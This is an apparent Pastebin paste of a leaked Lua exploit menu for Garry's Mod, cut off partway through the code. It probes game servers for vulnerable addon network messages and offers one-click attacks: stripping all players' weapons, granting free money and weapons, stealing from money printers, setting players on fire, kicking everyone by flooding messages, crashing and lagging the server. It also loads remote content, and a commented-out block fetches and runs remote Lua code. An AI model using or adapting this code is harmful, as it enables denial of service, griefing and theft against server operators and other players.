Advertisement
Guest User

Untitled

a guest
Jul 20th, 2018
122
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 43.56 KB | None | 0 0
  1. MsgC(Color(0, 240, 255), "☭ Exploit City by AFX ☭\n")
  2. MsgC(Color(0, 200, 255), "Type exploits_open in console to open!\n")
  3. MsgC(Color(0, 200, 255), "leaked leaked leaked leaked\n")
  4. surface.PlaySound("HL1/fvox/bell.wav") -- nice playsound
  5.  
  6.  
  7. function ValidNetString( str )
  8.  
  9. local status, error = pcall( net.Start, str )
  10.  
  11. return status
  12.  
  13. end
  14.  
  15. local function playSound(url)
  16.  
  17. sound.PlayURL(url, '', function( station )
  18.  
  19. if ( IsValid( station ) ) then
  20.  
  21. station:SetPos( LocalPlayer():GetPos() )
  22. station:Play()
  23.  
  24. end
  25. end)
  26.  
  27. end
  28.  
  29. playSound("https://itzvoltz.xyz/ec/exploitsismyscity.mp3")
  30.  
  31.  
  32.  
  33.  
  34.  
  35. -- Overriding original DL_Answering_global so it doesnt crash you when kicking all
  36.  
  37. net.Receive("DL_Answering_global", function(_len)
  38. end)
  39.  
  40.  
  41. --[[ WATERMARK ]] --
  42. Watermark = vgui.Create( "HTML" )
  43. Watermark:SetPos( -13, -8)
  44. Watermark:SetSize( ScrW(), ScrH())
  45. Watermark:OpenURL( "https://itzvoltz.xyz/ec/watermark.html" )
  46.  
  47. GRADIENT_HORIZONTAL = 0;
  48. GRADIENT_VERTICAL = 1;
  49. function draw.LinearGradient(x,y,w,h,from,to,dir,res)
  50. dir = dir or GRADIENT_HORIZONTAL;
  51. if dir == GRADIENT_HORIZONTAL then res = (res and res <= w) and res or w;
  52. elseif dir == GRADIENT_VERTICAL then res = (res and res <= h) and res or h; end
  53. for i=1,res do
  54. surface.SetDrawColor(
  55. Lerp(i/res,from.r,to.r),
  56. Lerp(i/res,from.g,to.g),
  57. Lerp(i/res,from.b,to.b),
  58. Lerp(i/res,from.a,to.a)
  59. );
  60. if dir == GRADIENT_HORIZONTAL then surface.DrawRect(x + w * (i/res), y, w/res, h );
  61. elseif dir == GRADIENT_VERTICAL then surface.DrawRect(x, y + h * (i/res), w, h/res ); end
  62. end
  63. end
  64.  
  65. function SploitText( str )
  66.  
  67. chat.AddText( Color( 0, 255, 255 ), "[EC] ", Color( 0, 200, 255), str )
  68.  
  69. end
  70.  
  71. surface.CreateFont( "customfont", {
  72. font = "Roboto",
  73. size = 21,
  74. } )
  75.  
  76. surface.CreateFont( "customfont2", {
  77. font = "Calibri",
  78. size = 15,
  79. } )
  80.  
  81. surface.CreateFont( "customfont3", {
  82. font = "Calibri",
  83. size = 24,
  84. } )
  85.  
  86.  
  87. surface.CreateFont( "closebuttonfont", {
  88. font = "Caviar Dreams",
  89. size = 21,
  90. } )
  91.  
  92.  
  93.  
  94.  
  95.  
  96.  
  97. local function SploitNotify(text)
  98.  
  99. local notify = vgui.Create( "DPanel" )
  100. notify:SetSize( 200, 50 )
  101. notify:SetPos( ScrW() - 200, -50 )
  102. notify.Paint = function(self, w, h)
  103. draw.RoundedBox( 0, 0, 0, w, h, Color(20, 20, 20))
  104. draw.RoundedBox( 0, 0, notify:GetTall() - 2, w, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ))
  105. draw.SimpleText( text, "customfont3", notify:GetWide() / 2, notify:GetTall() / 2, Color(255, 255, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  106. end
  107.  
  108.  
  109. notify:MoveTo( ScrW() - notify:GetWide(), 0, .2, 0, -1, function()
  110. timer.Simple( 3, function()
  111. notify:MoveTo( ScrW() - notify:GetWide(), -50, .2, 0, -1)
  112. end);end)
  113.  
  114. end
  115.  
  116.  
  117.  
  118.  
  119.  
  120. --[[Weapon Stripper Menu]]--
  121.  
  122. time = 1
  123.  
  124.  
  125. function Ply(name) -- finds player name
  126. name = string.lower(name);
  127. for _,v in ipairs(player.GetHumans()) do
  128. if(string.find(string.lower(v:Name()),name,1,true) != nil) then
  129. return v;
  130. end
  131. end
  132. end
  133.  
  134. function stripPlayer(ply) -- Strip player function
  135. if ply:IsPlayer() then
  136.  
  137. for k,v in pairs(ply:GetWeapons()) do
  138.  
  139. net.Start("properties")
  140. net.WriteString( "remove" , 32 )
  141. net.WriteEntity( v )
  142. net.SendToServer()
  143. end
  144. end
  145.  
  146. end
  147. concommand.Add("removewep_crosshair", function()
  148. local xhair = LocalPlayer():GetEyeTrace().Entity
  149. stripPlayer(xhair)
  150. end)
  151.  
  152. function removeAll() -- Strips all Players
  153. for k,v in pairs(player.GetAll()) do
  154. stripPlayer(v)
  155. end
  156. end
  157.  
  158.  
  159. local f = vgui.Create( "DFrame" )
  160. f:SetTitle("Weapon Stripper")
  161. f:SetSize( 500, 500 )
  162. f:Center()
  163. f:MakePopup()
  164. f:SetVisible(false)
  165. f:ShowCloseButton(false)
  166. f.Paint = function( self, w, h )
  167. draw.RoundedBox( 5, 0, 0, w, h, Color(40, 40, 40))
  168. end
  169.  
  170. local closebutton2 = vgui.Create( "DButton", f )
  171. closebutton2:SetText( "X" )
  172. closebutton2:SetTextColor( Color( 255, 0, 0 ) )
  173. closebutton2:SetPos( f:GetWide() - 31, 0 )
  174. closebutton2:SetFont("closebuttonfont")
  175. closebutton2:SetSize( 31, 31 )
  176. closebutton2.Paint = function( self, w, h )
  177. if closebutton2:IsHovered() then
  178. draw.RoundedBox( 0, 0, 0, w, h, Color( 50, 50, 50, 255 ) )
  179. else
  180. draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0, 255 ) )
  181. end
  182. end
  183. closebutton2.DoClick = function()
  184. f:SetVisible(false)
  185. end
  186.  
  187. local button = vgui.Create("DButton", f)
  188. button:SetText("Strip All")
  189. button:SetPos(220,40)
  190. button:SetTextColor(Color(255, 255, 255))
  191. button.DoClick = function ()
  192. removeAll()
  193. end
  194. button.Paint = function( self, w, h )
  195. draw.RoundedBox( 5, 0, 0, w, h, Color(60, 60, 60))
  196. end
  197.  
  198.  
  199. local DermaCheckboxone = vgui.Create( "DCheckBoxLabel" , f )// Create the checkbox
  200. DermaCheckboxone:SetPos( 220, 70 )// Set the position
  201. DermaCheckboxone:SetValue(false)
  202. DermaCheckboxone:SetText("Remove All Timer")
  203. function DermaCheckboxone:OnChange( val )
  204. if (val) then
  205. print("rekt all player's weapons")
  206. net.Start("properties")
  207. net.WriteString( "remove" , 32 )
  208. net.WriteEntity( player.GetAll() )
  209. net.SendToServer()
  210. timer.Create( "removealltimer", time, 0, function()
  211. print("rekt all player's weapons")
  212. net.Start("properties")
  213. net.WriteString( "remove" , 32 )
  214. net.WriteEntity( player.GetAll() )
  215. net.SendToServer()
  216. end)
  217. else
  218. timer.Remove("removealltimer")
  219. end
  220. end
  221.  
  222. local TimeSlider = vgui.Create( "DNumSlider", f )
  223. TimeSlider:SetPos( 220, 90 ) // Set the position
  224. TimeSlider:SetSize( 200, 15 ) // Set the size
  225. TimeSlider:SetText( "Time Interval" ) // Set the text above the slider
  226. TimeSlider:SetMin( .1 ) // Set the minimum number you can slide to
  227. TimeSlider:SetMax( 7.5 ) // Set the maximum number you can slide to
  228. TimeSlider:SetValue( 1 )
  229. TimeSlider:SetDecimals( 1 ) // Decimal places - zero for whole number
  230. TimeSlider.OnValueChanged = function( panel, value )
  231. time = math.Round(value, 1)
  232. if DermaCheckboxone:GetChecked() == 1 then
  233. timer.Remove("removealltimer")
  234. timer.Create( "removealltimer", time, 0, function()
  235. print("rekt")
  236. net.Start("properties")
  237. net.WriteString( "remove" , 32 )
  238. net.WriteEntity( player.GetAll() )
  239. net.SendToServer()
  240. end)
  241. end
  242. end
  243.  
  244.  
  245. local AppList = vgui.Create( "DListView", f)
  246. AppList:SetSize(200,100)
  247. AppList:Dock( LEFT )
  248. AppList:SetMultiSelect( false )
  249. AppList:AddColumn( "Name" )
  250. for k, v in pairs(player.GetAll()) do
  251. AppList:AddLine(v:Name())
  252. end
  253.  
  254. AppList.OnRowSelected = function( lst, index, pnl )
  255. --print( "Selected " .. pnl:GetColumnText( 1 ) .. " at index " .. index )
  256. ply = Ply(pnl:GetColumnText( 1 ))
  257. print(pnl:GetColumnText( 1 ) .. " rekt")
  258. stripPlayer(ply)
  259.  
  260. end
  261.  
  262.  
  263. concommand.Add("menu",menu)
  264. concommand.Add("strip",stripPlayer)
  265. function removeWeapons()
  266.  
  267. local Target = LocalPlayer():GetEyeTrace().Entity
  268.  
  269. if Target:IsPlayer() then
  270. for x,y in pairs(Target:GetWeapons()) do
  271.  
  272. net.Start("properties")
  273. net.WriteString( "remove" , 32 )
  274. net.WriteEntity( y )
  275. net.SendToServer()
  276. end
  277.  
  278. end
  279.  
  280. end
  281.  
  282. --[[End of Weapon Stripper]]--
  283.  
  284. local wMain = ScrW() / 3
  285. local hMain = ScrH() / 2.8
  286. totalSploits = 0
  287.  
  288.  
  289. local Main = vgui.Create( "DFrame" )
  290. Main:SetTitle("")
  291. Main:SetSize( wMain, hMain )
  292. Main:SetPos( ScrW() / 2 - Main:GetWide() / 2, ScrH())
  293. Main:SetMouseInputEnabled(true)
  294. Main:SetKeyBoardInputEnabled(true)
  295. Main:SetDraggable(false)
  296. Main:SetVisible(false)
  297. Main:ShowCloseButton(false)
  298. Main.Paint = function( self, w, h )
  299. draw.RoundedBox( 0, 0, 0, w, h, Color( 50, 50, 50, 240 ) )
  300. draw.LinearGradient( 0, 0, w, 31, Color(40, 40, 40), color_black, GRADIENT_VERTICAL );
  301. --draw.RoundedBox( 0, 0, 0, w, 31, Color( 20, 20, 20, 255 ) )
  302. surface.SetDrawColor( 0, 0, 0, 255)
  303. surface.DrawOutlinedRect( 0, 0, w, h )
  304. draw.SimpleText( "Exploit City", "customfont", Main:GetWide() / 2, 6, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_CENTER )
  305. draw.SimpleText( totalSploits .. "/36", "customfont", 6, 6, Color(255, 255, 255), TEXT_ALIGN_LEFT )
  306. end
  307.  
  308.  
  309.  
  310. local closebutton = vgui.Create( "DButton", Main )
  311. closebutton:SetText( "X" )
  312. closebutton:SetTextColor( Color( 255, 0, 0 ) )
  313. closebutton:SetPos( Main:GetWide() - 31, 0 )
  314. closebutton:SetFont("closebuttonfont")
  315. closebutton:SetSize( 31, 31 )
  316. closebutton.Paint = function( self, w, h )
  317. if closebutton:IsHovered() then
  318. draw.RoundedBox( 0, 0, 0, w, h, Color( 50, 50, 50, 255 ) )
  319. else
  320. draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0, 255 ) )
  321. end
  322. end
  323.  
  324. local weaponbutton = vgui.Create( "DButton", Main )
  325. weaponbutton:SetText( "Weapon Stripper" )
  326. weaponbutton:SetTextColor( Color( 255, 255, 255 ) )
  327. weaponbutton:SetSize( 31 * 3.5, 31 )
  328. weaponbutton:SetPos( Main:GetWide() - 31 * 4.5, 0 )
  329. weaponbutton:SetFont("customfont2")
  330. weaponbutton.Paint = function( self, w, h )
  331. if weaponbutton:IsHovered() then
  332. draw.RoundedBox( 0, 0, 0, w, h, Color( 50, 50, 50, 255 ) )
  333. else
  334. draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0, 255 ) )
  335. end
  336. end
  337. weaponbutton.DoClick = function()
  338. f:SetVisible(true)
  339. end
  340.  
  341. local tabs = vgui.Create( "DPropertySheet", Main )
  342. tabs:Dock( FILL )
  343. tabs:DockPadding( 5, 5, 0, 0)
  344. tabs.Paint = function (self, w, h)
  345. for k, v in pairs(tabs.Items) do
  346. if (!v.Tab) then continue end
  347.  
  348. v.Tab.Paint = function(self,w,h)
  349. draw.LinearGradient( 0, 0, w, h, Color(40, 40, 40), color_black, GRADIENT_VERTICAL );
  350. end
  351. end
  352. end
  353.  
  354. local exploitsPanel = vgui.Create( "DPanel", tabs )
  355. exploitsPanel.Paint = function( self, w, h )
  356. --draw.LinearGradient( 0, 0, w, h, Color(40, 40, 40), color_black, GRADIENT_VERTICAL );
  357. draw.RoundedBox(0, 0, 0, w, h, Color(40,40,40))
  358. end
  359. tabs:AddSheet( "Exploits", exploitsPanel )
  360.  
  361. local toolsPanel = vgui.Create( "DPanel", tabs )
  362. toolsPanel.Paint = function( self, w, h )
  363. draw.RoundedBox(0, 0, 0, w, h, Color(40,40,40))
  364. end
  365. tabs:AddSheet( "Tools", toolsPanel )
  366.  
  367. local exploitsScrollPanel = vgui.Create( "DScrollPanel", exploitsPanel )
  368. exploitsScrollPanel:Dock( FILL )
  369.  
  370. local toolsScrollPanel = vgui.Create( "DScrollPanel", toolsPanel )
  371. toolsScrollPanel:Dock( FILL )
  372.  
  373. --[[ FUNCTIONS ]]
  374.  
  375. function addExploit(id, text, desc, func)
  376. local id2 = id .. "."
  377. local name = text
  378. totalSploits = 1 + totalSploits
  379.  
  380. local id = vgui.Create( "DButton", exploitsScrollPanel )
  381. id:SetText( name )
  382. id:SetTextColor( Color( 200, 200, 200 ) )
  383. id:SetFont("customfont")
  384. id:Dock( TOP )
  385. id:DockMargin( 2, 10, 2, -5 )
  386. id:DockPadding( 2, 25, 2, 50 )
  387. id.DoClick = func
  388.  
  389.  
  390. id.Paint = function( self, w, h )
  391. if id:IsHovered() then
  392. draw.SimpleText( desc, "customfont2", -25, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_RIGHT)
  393. draw.RoundedBox( 0, 0, 0, w, h, Color(30, 30, 30))
  394. else
  395. draw.RoundedBox( 0, 0, 0, w, h, Color(20, 20, 20))
  396. end
  397. surface.SetDrawColor( 0, 0, 0, 255)
  398. surface.DrawOutlinedRect( 0, 0, w, h )
  399. end
  400. end
  401.  
  402. function addTool(id, text, desc, func)
  403. local id2 = id .. "."
  404. local name = text
  405.  
  406. local id = vgui.Create( "DButton", toolsScrollPanel )
  407. id:SetText( name )
  408. id:SetTextColor( Color( 200, 200, 200 ) )
  409. id:SetFont("customfont")
  410. id:Dock( TOP )
  411. id:DockMargin( 2, 10, 2, -5 )
  412. id:DockPadding( 2, 25, 2, 50 )
  413. id.DoClick = func
  414.  
  415.  
  416. id.Paint = function( self, w, h )
  417. if id:IsHovered() then
  418. draw.SimpleText( desc, "customfont2", -25, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_RIGHT)
  419. draw.RoundedBox( 0, 0, 0, w, h, Color(30, 30, 30))
  420. else
  421. draw.RoundedBox( 0, 0, 0, w, h, Color(20, 20, 20))
  422. end
  423. surface.SetDrawColor( 0, 0, 0, 255)
  424. surface.DrawOutlinedRect( 0, 0, w, h )
  425. end
  426. end
  427.  
  428. function addServer(id, text, desc, ip)
  429. local id2 = id .. "."
  430. local name = text
  431.  
  432. local id = vgui.Create( "DButton", serversScrollPanel )
  433. id:SetText( name )
  434. id:SetTextColor( Color( 200, 200, 200 ) )
  435. id:SetFont("customfont")
  436. id:Dock( TOP )
  437. id:DockMargin( 2, 10, 2, -5 )
  438. id:DockPadding( 2, 25, 2, 50 )
  439. id.DoClick = function()
  440. LocalPlayer():ConCommand("connect "..ip)
  441. end
  442.  
  443.  
  444. id.Paint = function( self, w, h )
  445. if id:IsHovered() then
  446. draw.SimpleText( desc, "customfont2", -25, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_RIGHT)
  447. draw.RoundedBox( 0, 0, 0, w, h, Color(30, 30, 30))
  448. else
  449. draw.RoundedBox( 0, 0, 0, w, h, Color(20, 20, 20))
  450. end
  451. surface.SetDrawColor( 0, 0, 0, 255)
  452. surface.DrawOutlinedRect( 0, 0, w, h )
  453. end
  454. end
  455.  
  456. function broadcast( str )
  457.  
  458. if( str != nil ) then
  459.  
  460. SploitText("Beginning to broadcast message: " .. str)
  461.  
  462. else
  463.  
  464. SploitText("Message is nil, enter a valid string!")
  465.  
  466. end
  467.  
  468. for k,v in pairs( player.GetAll() ) do
  469.  
  470. if ( v != LocalPlayer() ) then
  471.  
  472. RunConsoleCommand( "ulx", "psay", v:Nick(), str )
  473.  
  474. end
  475.  
  476. end
  477.  
  478. end
  479.  
  480.  
  481. hook.Add("Think", "RGBSTF", function()
  482. local rainbowC = HSVToColor( CurTime() % 6 * 60, 1, 1 )
  483. LocalPlayer():SetWeaponColor( Vector( rainbowC.r / 255, rainbowC.g / 255, rainbowC.b / 255 ) )
  484. LocalPlayer():SetPlayerColor( Vector( rainbowC.r / 255, rainbowC.g / 255, rainbowC.b / 255 ) )
  485. end)
  486.  
  487.  
  488. --[[ SERVERS ]]--
  489. /*
  490.  
  491. http.Fetch("https://itzvoltz.xyz/ec/serverlist.lua", function( ret )
  492.  
  493. RunString( ret )
  494.  
  495. end)
  496.  
  497.  
  498.  
  499. -- [[ Tools ]]
  500.  
  501. -- [[ Server List ]]
  502.  
  503. addTool("serverList", "Server List", "Opens a menu with exploitable servers", function()
  504. LocalPlayer():ConCommand("exploitable_servers")
  505. end)
  506.  
  507. */
  508.  
  509. --[[ ULX PSAY BROADCASTER ]]
  510. if ulx then
  511. addTool("pSayBroadcaster", "ULX PSAY Broadcast", "PM's every player on the server", function ()
  512.  
  513. --[[ Vars ]]
  514.  
  515. local wPsay = ScrW() / 5
  516. local hPsay = ScrH() / 10
  517.  
  518. --[[ Menu ]]
  519.  
  520. local pSayMain = vgui.Create( "DFrame" )
  521. pSayMain:SetTitle("")
  522. pSayMain:SetSize( wPsay, hPsay )
  523. pSayMain:SetPos(50, ScrH() / 2)
  524. pSayMain:SetMouseInputEnabled(true)
  525. pSayMain:SetKeyBoardInputEnabled(true)
  526. pSayMain:ShowCloseButton(false)
  527. pSayMain:MakePopup()
  528. pSayMain.Paint = function( self, w, h )
  529. draw.RoundedBox( 0, 0, 0, w, h, Color( 50, 50, 50, 255 ) )
  530. draw.LinearGradient( 0, 0, w, 31, Color(40, 40, 40), color_black, GRADIENT_VERTICAL );
  531. surface.SetDrawColor( 0, 0, 0, 255)
  532. surface.DrawOutlinedRect( 0, 0, w, h )
  533. draw.SimpleText( "PM Broadcaster", "customfont", w / 2, 6, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_CENTER )
  534. end
  535.  
  536.  
  537.  
  538. local psayClose = vgui.Create( "DButton", pSayMain )
  539. psayClose:SetText( "X" )
  540. psayClose:SetTextColor( Color( 255, 0, 0 ) )
  541. psayClose:SetPos( pSayMain:GetWide() - 31, 0 )
  542. psayClose:SetFont("closebuttonfont")
  543. psayClose:SetSize( 31, 31 )
  544. psayClose.Paint = function( self, w, h )
  545. if psayClose:IsHovered() then
  546. draw.RoundedBox( 0, 0, 0, w, h, Color( 50, 50, 50, 255 ) )
  547. else
  548. draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0, 255 ) )
  549. end
  550. end
  551.  
  552. psayClose.DoClick = function()
  553. pSayMain:Remove()
  554. end
  555.  
  556. local psayInput = vgui.Create( "DTextEntry", pSayMain )
  557. psayInput:SetPos( 25, 40 )
  558. psayInput:SetSize( pSayMain:GetWide() / 2 , 25 )
  559. psayInput:SetText( "BroadcastMSG" )
  560. psayInput.OnEnter = function( self )
  561. chat.AddText( self:GetValue() )
  562. end
  563.  
  564. local sendBroadCast = vgui.Create( "DButton", pSayMain )
  565. sendBroadCast:SetText( "Broadcast" )
  566. sendBroadCast:SetTextColor( Color( 255, 255, 255 ) )
  567. sendBroadCast:SetPos( 220, 40 )
  568. sendBroadCast:SetFont("customfont")
  569. sendBroadCast:SetSize( 90, 25 )
  570. sendBroadCast.Paint = function( self, w, h )
  571. if sendBroadCast:IsHovered() then
  572. draw.RoundedBox( 0, 0, 0, w, h, Color( 40, 40, 40, 255 ) )
  573. else
  574. draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0, 255 ) )
  575. end
  576. end
  577.  
  578. sendBroadCast.DoClick = function()
  579. broadcast( psayInput:GetValue() )
  580.  
  581. end
  582.  
  583.  
  584.  
  585. end)
  586. end
  587.  
  588.  
  589. --[[ Exploits ]]--
  590.  
  591.  
  592.  
  593. local status = ValidNetString("CraftSomething")
  594. if (status) then
  595. SploitText("Found exploitable net message: CraftSomething")
  596. addExploit( "1", "Give Weapons", "Gives you any weapon of your choice", function()
  597. inputFrameExists = true
  598. inputFrame = vgui.Create( "DFrame" )
  599. inputFrame:SetTitle("Choose a weapon!")
  600. inputFrame:SetSize( 400, 75 )
  601. inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
  602. inputFrame:SetDraggable(false)
  603. inputFrame:ShowCloseButton(false)
  604. inputFrame:MakePopup()
  605. inputFrame.Paint = function( self, w, h )
  606. draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
  607. end
  608.  
  609. local TextEntry = vgui.Create( "DTextEntry", inputFrame )
  610. TextEntry:SetSize( 380, 30 )
  611. TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
  612. TextEntry:SetText( "m9k_ak47" )
  613. TextEntry.OnEnter = function( self )
  614. surface.PlaySound("garrysmod/ui_click.wav")
  615. SploitText("Giving Weapon")
  616. net.Start( "CraftSomething" )
  617. net.WriteEntity( LocalPlayer() )
  618. net.WriteString( self:GetValue() )
  619. net.WriteString( "" )
  620. net.WriteString( "weapon" )
  621. net.SendToServer()
  622. inputFrame:SetVisible(false)
  623. end
  624. end)
  625. end
  626.  
  627.  
  628. local status = ValidNetString("TCBuyAmmo")
  629. if (status) then
  630. SploitText("Found exploitable net message: TCBuyAmmo")
  631. addExploit( "2","Free Ammo", "Gets All Ammo Types", function()
  632. surface.PlaySound("garrysmod/ui_click.wav")
  633. SploitText("Getting Le Ammo")
  634. for k,v in pairs(GAMEMODE.AmmoTypes) do
  635.  
  636. net.Start("TCBBuyAmmo")
  637.  
  638. net.WriteTable( {nil,v.ammoType,nil,"0","999999"} )
  639.  
  640. net.SendToServer()
  641.  
  642. end
  643. end);end
  644.  
  645.  
  646.  
  647. local status = ValidNetString("DataSend")
  648. if (status) then
  649. SploitText("Found exploitable net message: Steal All Monies #1")
  650. addExploit( "4","Steal All Monies #1", "Takes money from printers", function()
  651. surface.PlaySound("garrysmod/ui_click.wav")
  652. for k, v in pairs( ents.GetAll() ) do
  653.  
  654. if v:GetClass() == "adv_moneyprinter" then
  655.  
  656. SploitText("Collecting Money")
  657.  
  658. net.Start("DataSend")
  659.  
  660. net.WriteFloat(2)
  661.  
  662. net.WriteEntity(v)
  663.  
  664. net.WriteEntity(LocalPlayer())
  665.  
  666. net.SendToServer()
  667.  
  668. end;end
  669. end);end
  670.  
  671.  
  672.  
  673.  
  674.  
  675.  
  676. local status = ValidNetString("FarmingmodSellItems")
  677. if (status) then
  678. SploitText("Found Exploit: Free Money")
  679. addExploit( "5","Free Money", "An exploit in the Farming Mod", function()
  680. surface.PlaySound("garrysmod/ui_click.wav")
  681. SploitText("Enjoy the b1g monies")
  682. net.Start( "FarmingmodSellItems" )
  683. net.WriteTable(
  684. {
  685. Cost = 10,
  686. CropModel = "models/props/eryk/garlic.mdl",
  687. CropType = 2,
  688. Info = "Garlic Seed",
  689. Model = "models/props/eryk/seedbag.mdl",
  690. Name = "Garlic",
  691. Quality = 4,
  692. Sell = 99999,
  693. Type = "Seed"
  694. }
  695. )
  696. net.WriteInt(1,16)
  697. net.SendToServer()
  698. end);end
  699.  
  700.  
  701. local status = ValidNetString("start_wd_emp")
  702. if (status) then
  703. SploitText("Found Exploit: Hack Keypads")
  704. addExploit( "6","Hack Keypads", "An exploit in the hacking phone", function()
  705. surface.PlaySound("garrysmod/ui_click.wav")
  706. SploitNotify("Hacking Keypads")
  707. net.Start('start_wd_emp')
  708. net.SendToServer()
  709. end);end
  710.  
  711.  
  712. local status = ValidNetString("duelrequestguiYes")
  713. if (status) then
  714. SploitText("Found Exploit: Get Money")
  715. addExploit( "7","Get Money", "Duel Exploit", function()
  716. surface.PlaySound("garrysmod/ui_click.wav")
  717. SploitNotify("getting ez monies")
  718. net.Start("duelrequestguiYes")
  719. net.WriteInt(-99999999999999999999999999999999999999999999999999999999999999999999999999999,32)
  720. net.WriteEntity(table.Random( player.GetAll() ) )
  721. net.WriteString("Crossbow")
  722. net.SendToServer()
  723. end);end
  724.  
  725.  
  726. local status = ValidNetString("drugseffect_remove")
  727. if (status) then
  728. SploitText("Found exploitable net message: drugseffect_remove ")
  729. addExploit( "8","Remove All Weapons", "An exploit in the drug addon", function()
  730. surface.PlaySound("garrysmod/ui_click.wav")
  731. SploitText("Removing Weapons from All")
  732. net.Start("drugseffect_remove")
  733. net.SendToServer()
  734. end);end
  735.  
  736. local status = ValidNetString("drugs_money")
  737. if (status) then
  738. SploitText("Found exploitable net message: drugs_money")
  739. addExploit( "9","Remove All Money", "An exploit in the drug addon", function()
  740. surface.PlaySound("garrysmod/ui_click.wav")
  741. SploitText("Removing Weapons from All")
  742. net.Start("drugs_money")
  743. net.SendToServer()
  744. end);end
  745.  
  746. local status = ValidNetString("drugs_ignite")
  747. if (status) then
  748. SploitText("Found exploitable net message: drugs_ignite")
  749. addExploit( "10","Ignite Props", "An exploit in the drug addon", function()
  750. surface.PlaySound("garrysmod/ui_click.wav")
  751. SploitText("Igniting Props")
  752. net.Start("drugs_ignite")
  753. net.WriteString("prop_physics")
  754. net.SendToServer()
  755. end);end
  756.  
  757.  
  758. local status = ValidNetString("drugs_ignite")
  759. if (status) then
  760. addExploit( "11","Ignite Players", "An exploit in the drug addon", function()
  761. surface.PlaySound("garrysmod/ui_click.wav")
  762. SploitText("Igniting Players")
  763. net.Start("drugs_ignite")
  764. net.WriteString("player")
  765. net.SendToServer()
  766. end);end
  767.  
  768.  
  769. local status = ValidNetString("drugseffect_hpremove")
  770. if (status) then
  771. SploitText("Found Exploit: Remove All Players HP")
  772. addExploit( "12","Remove All Players HP", "An exploit in the drug addon", function()
  773. surface.PlaySound("garrysmod/ui_click.wav")
  774. SploitText("Removing All Players HP")
  775. net.Start("drugseffect_hpremove")
  776. net.WriteString(1)
  777. net.SendToServer()
  778. end);end
  779.  
  780.  
  781. local status = ValidNetString("drugseffect_hpremove")
  782. if (status) then
  783. SploitText("Found Exploit: Give All God")
  784. addExploit( "13","Give All God", "An exploit in the drug addon", function()
  785. surface.PlaySound("garrysmod/ui_click.wav")
  786. SploitText("Giving All God")
  787. net.Start("drugseffect_hpremove")
  788. net.WriteString(299999)
  789. net.SendToServer()
  790. end);end
  791.  
  792. local status = ValidNetString("drugs_text")
  793. if (status) then
  794. SploitText("Found Exploit: Remove All Props")
  795. addExploit( "14","Remove All Props", "An exploit in the drug addon", function()
  796. surface.PlaySound("garrysmod/ui_click.wav")
  797. SploitText("Removing All Props")
  798. net.Start("drugs_text")
  799. net.WriteString("prop_physics")
  800. net.SendToServer()
  801. end);end
  802.  
  803. local status = ValidNetString("DarkRP_Kun_ForceSpawn")
  804. if (status) then
  805. SploitText("Found Exploit: TP")
  806. addExploit( "15", "TP", "No clue what this does xd", function()
  807. surface.PlaySound("garrysmod/ui_click.wav")
  808. SploitText("TPing")
  809. net.Start("DarkRP_Kun_ForceSpawn")
  810. net.SendToServer()
  811. end);end
  812.  
  813.  
  814. local status = ValidNetString("SyncPrinterButtons76561198056171650")
  815. if (status) then
  816. SploitText("Found Exploit: Steal All Monies #2")
  817. addExploit( "16","Steal All Monies #2", "Takes money from printers", function()
  818. surface.PlaySound("garrysmod/ui_click.wav")
  819.  
  820. SploitText("Collecting Money")
  821.  
  822. for k, v in pairs(ents.GetAll()) do
  823.  
  824. if (v:GetClass() == "adv_moneyprinter") then
  825.  
  826. net.Start( "SyncPrinterButtons76561198056171650" )
  827.  
  828. net.WriteEntity(v)
  829.  
  830. net.WriteUInt(2, 4)
  831.  
  832. net.SendToServer()
  833.  
  834. end
  835.  
  836. end
  837. end);end
  838.  
  839. local function report()
  840. for i = 1, 2000 do
  841. net.Start("DL_Answering")
  842. net.SendToServer()
  843. end
  844. end
  845.  
  846. if (Damagelog) then
  847. SploitText("Found Exploit: Kick All Players")
  848. reportSpam = 0
  849. addExploit( "17","Kick All Players", "Kicks all players", function()
  850. surface.PlaySound("garrysmod/ui_click.wav")
  851. if (reportSpam == 0) then
  852. SploitNotify("Starting Kicker")
  853. reportSpam = 1
  854. timer.Create("reportSpammer", 0.05, 0, report)
  855. else
  856. SploitNotify("Stopping Kicker")
  857. reportSpam = 0
  858. timer.Remove("reportSpammer")
  859. end
  860.  
  861. end);end
  862.  
  863.  
  864. local status = ValidNetString("SimplicityAC_aysent")
  865. if (status) then
  866. SploitText("Found Exploit: Instant Crash")
  867. addExploit( "19","Instant Crash", "Will instantly crash the server", function()
  868. surface.PlaySound("garrysmod/ui_click.wav")
  869. SploitText("Goodbye Server")
  870. local tbl = {}
  871.  
  872. for i=1,400 do
  873.  
  874. tbl[i] = i
  875.  
  876. end
  877.  
  878. net.Start("SimplicityAC_aysent")
  879.  
  880. net.WriteUInt(1, 8)
  881.  
  882. net.WriteUInt(4294967295, 32)
  883.  
  884. net.WriteTable(tbl)
  885.  
  886. net.SendToServer()
  887. end);end
  888.  
  889. local status = ValidNetString("ATS_WARP_REMOVE_CLIENT")
  890. if (status) then
  891. SploitText("Found Exploit: Lagger #1")
  892. lagger1 = 0
  893. addExploit( "20", "Lagger #1", "b1g lags", function()
  894. surface.PlaySound("garrysmod/ui_click.wav")
  895. if (lagger1 == 0) then
  896. SploitNotify("Starting Lagger")
  897. lagger1 = 1
  898. timer.Create("lagger1", 0.02, 0, function()
  899.  
  900. for k,v in pairs(player.GetAll()) do
  901.  
  902. net.Start( "ATS_WARP_REMOVE_CLIENT" )
  903.  
  904. net.WriteEntity( v )
  905.  
